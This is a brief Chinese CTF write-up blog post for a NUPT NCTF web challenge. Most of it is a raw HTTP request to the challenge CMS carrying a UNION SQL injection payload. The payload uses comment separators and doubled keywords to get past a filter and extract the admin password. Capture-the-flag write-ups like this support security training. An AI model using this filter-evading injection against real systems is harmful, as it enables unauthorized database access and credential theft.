南邮NCTF综合题2

KogRow(接毕设和大作业版)

于 2019-12-19 16:16:04 发布

阅读量284

点赞数

CC 4.0 BY-SA版权

分类专栏： CTF 文章标签： CTF web

本文链接：https://blog.youkuaiyun.com/shuaicenglou3032/article/details/103616476

CTF 专栏收录该内容

61 篇文章

订阅专栏

本文介绍了一种通过构造特定的payload来查询管理员密码的方法。使用HTTP POST请求，结合SQL注入技巧，尝试从指定CMS系统中获取管理员账号的密码。此过程涉及到发送定制化的HTTP头信息和请求参数，利用Burp Suite等工具进行重放攻击。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

构造查询管理员密码的payload:

POST /so.php HTTP/1.1
Host: cms.nuptzj.cn
Proxy-Connection: keep-alive
Content-Length: 151
Cache-Control: max-age=0
Origin: http://cms.nuptzj.cn
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Xlcteam Browser
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://cms.nuptzj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=0256566aa46f905e7a8035191fff2f56

soid=0/**/UnIunionOn/**/seLselectEct/**/1,(sEselectlect/**/userPapassSS/**/fRfromom/**/Adadminmin/**/where/**/userNanameme/**/like/**/0x61646d696e),3,4

将该包放到burp里重放即可: